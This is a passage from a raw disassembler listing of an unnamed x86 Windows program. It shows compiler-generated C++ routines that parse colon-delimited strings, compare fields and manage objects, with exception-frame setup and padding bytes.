sub_413C40+11Dj push 15h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413CE0 mov ecx, eax call sub_401F4B jmp short loc_413CE2 ; --------------------------------------------------------------------------- loc_413CE0: ; CODE XREF: sub_413C40+95j xor eax, eax loc_413CE2: ; CODE XREF: sub_413C40+9Ej push offset asc_444C74 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016B8 mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40202C lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_401488 ; --------------------------------------------------------------------------- inc esi push offset asc_444C74 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413CC0 loc_413D63: ; CODE XREF: sub_413C40+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413D89: ; CODE XREF: sub_413C40+26j ; sub_413C40+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413C40 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E10 proc near ; CODE XREF: sub_401F4Bj push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_413E10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413E30: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401870 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E70 proc near ; CODE XREF: sub_4018ACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413E70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014D3 mov ecx, ebp call sub_401CE4 xor ebx, ebx cmp eax, ebx jnz loc_41405E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014D3 mov ecx, ebp call sub_402130 mov edi, eax cmp edi, ebx jz loc_41405E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014D3 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_41405E push offset byte_448F40 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413F57 lea ecx, [edi+2Ah] call sub_4017EE lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017EE loc_413F26: ; CODE XREF: sub_413E70+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413F4A cmp cl, bl jz short loc_413F46 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413F4A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F26 loc_413F46: ; CODE XREF: sub_413E70+C0j xor eax, eax jmp short loc_413F4F ; --------------------------------------------------------------------------- loc_413F4A: ; CODE XREF: sub_413E70+BCj ; sub_413E70+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413F4F: ; CODE XREF: sub_413E70+D8j cmp eax, ebx jnz loc_41405E loc_413F57: ; CODE XREF: sub_413E70+A1j push offset byte_448F40 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413FB3 lea ecx, [edi+3Fh] call sub_4017EE lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017EE loc_413F82: ; CODE XREF: sub_413E70+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413FA6 cmp cl, bl jz short loc_413FA2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413FA6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F82 loc_413FA2: ; CODE XREF: sub_413E70+11Cj xor eax, eax jmp short loc_413FAB ; --------------------------------------------------------------------------- loc_413FA6: ; CODE XREF: sub_413E70+118j ; sub_413E70+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413FAB: ; CODE XREF: sub_413E70+134j cmp eax, ebx jnz loc_41405E loc_413FB3: ; CODE XREF: sub_413E70+FAj push 58h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413FD3 mov ecx, eax call sub_401D1B jmp short loc_413FD5 ; --------------------------------------------------------------------------- loc_413FD3: ; CODE XREF: sub_413E70+158j xor eax, eax loc_413FD5: ; CODE XREF: sub_413E70+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40202C mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40202C lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401410 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4140AB ; --------------------------------------------------------------------------- loc_41405E: ; CODE XREF: sub_413E70+44j ; sub_413E70+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4140AB: ; CODE XREF: sub_413E70+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413E70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414160 proc near ; CODE XREF: sub_401D1Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414160 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4141F0: ; CODE XREF: ___:00401DD9j push 0FFFFFFFFh push offset loc_43AF10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401870 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_4018AC mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4142E0 proc near ; CODE XREF: sub_401541j add ecx, 6Ch jmp sub_401C76 sub_4142E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414300 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414300 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_437AEA sub_414300 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414343 mov ecx, eax call sub_401BF4 ; --------------------------------------------------------------------------- jmp short loc_414345 ; --------------------------------------------------------------------------- loc_414343: ; CODE XREF: ___:00414338j xor eax, eax loc_414345: ; CODE XREF: ___:00414341j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40202C mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40202C mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40202C mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40202C lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401F0F ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414430 proc near ; CODE XREF: sub_401BF4j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_40142E lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414430 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4144D0: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_43AFD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4145A0 proc near ; CODE XREF: sub_401DC0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4145A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E38 mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jz short loc_414650 loc_414605: ; CODE XREF: sub_4145A0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_41462D lea ecx, [esp+18h+var_14] call sub_401FC3 mov edx, [eax] mov [esp+18h+var_10], edx loc_41462D: ; CODE XREF: sub_4145A0+7Cj lea ecx, [esp+18h+var_14] call sub_4020C2 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jnz short loc_414605 loc_414650: ; CODE XREF: sub_4145A0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_414698 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_414673 push 1 call sub_4019EC loc_414673: ; CODE XREF: sub_4145A0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_414698: ; CODE XREF: sub_4145A0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4145A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414710 proc near ; CODE XREF: sub_4019ECj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402243 test [esp+4+arg_0], 1 jz short loc_414728 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414728: ; CODE XREF: sub_414710+Dj mov eax, esi pop esi retn 4 sub_414710 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414740 proc near ; CODE XREF: sub_402243j jmp sub_401226 sub_414740 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414760: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_43B020 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_444C74 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414829 loc_4147C3: ; CODE XREF: ___:00414827j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_444C74 ; ":" push esi push edx call sub_4016B8 mov ecx, ebp call sub_401DC0 cmp al, bl jnz short loc_4147F0 mov [esp+13h], bl loc_4147F0: ; CODE XREF: ___:004147EAj inc esi push offset asc_444C74 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4147C3 loc_414829: ; CODE XREF: ___:004147C1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4148A0 proc near ; CODE XREF: sub_40212Bj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4148A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017EE test eax, eax jz loc_4149D4 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402275 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_41497E loc_414914: ; CODE XREF: sub_4148A0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B86 test eax, eax jz short loc_41494C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax jnz short loc_41495B loc_41494C: ; CODE XREF: sub_4148A0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41495B: ; CODE XREF: sub_4148A0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414914 loc_41497E: ; CODE XREF: sub_4148A0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_4149D4 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_40214E mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4149A1 push 1 call sub_401708 loc_4149A1: ; CODE XREF: sub_4148A0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_4149D4: ; CODE XREF: sub_4148A0+2Ej ; sub_4148A0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4148A0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A70 proc near ; CODE XREF: sub_401708j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_414A88 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414A88: ; CODE XREF: sub_414A70+Dj mov eax, esi pop esi retn 4 sub_414A70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414AA0 proc near ; CODE XREF: sub_401A6Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_414AA0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414B30: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_43B098 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40212B mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414BC0: ; CODE XREF: ___:00401B45j push 0FFFFFFFFh push offset loc_43B0B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017EE test eax, eax jz loc_414CC7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401992 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jz short loc_414C7F loc_414C34: ; CODE XREF: ___:00414C7Dj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_414C5C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414C5C: ; CODE XREF: ___:00414C4Bj lea ecx, [esp+4] call sub_4018C5 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jnz short loc_414C34 loc_414C7F: ; CODE XREF: ___:00414C32j mov eax, [esp+8] test eax, eax jz short loc_414CC7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414CA2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414CA2: ; CODE XREF: ___:00414C99j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414CC7: ; CODE XREF: ___:00414BEEj ; ___:00414C85j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D40 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B59 sub_414D40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414D58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414D58: ; CODE XREF: ___:00414D4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D70 proc near ; CODE XREF: sub_401B59j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414D70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401582 sub_414D70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E10 proc near ; CODE XREF: sub_4014C9j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414E10 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F0B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014D3 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_448F40 call sub_401870 or ebx, 0FFFFFFFFh mov ecx, offset word_44AC6E mov [esp+88h+var_4], ebx call sub_40212B test al, al jz loc_415040 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019C4 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F0B: ; CODE XREF: sub_414E10+36j lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_415040 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014D3 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014D3 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014D3 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_444600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_444600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_44AC6E mov [esp+0D0h+var_4], ebx call sub_4018AC test al, al jz short loc_415040 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019C4 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add 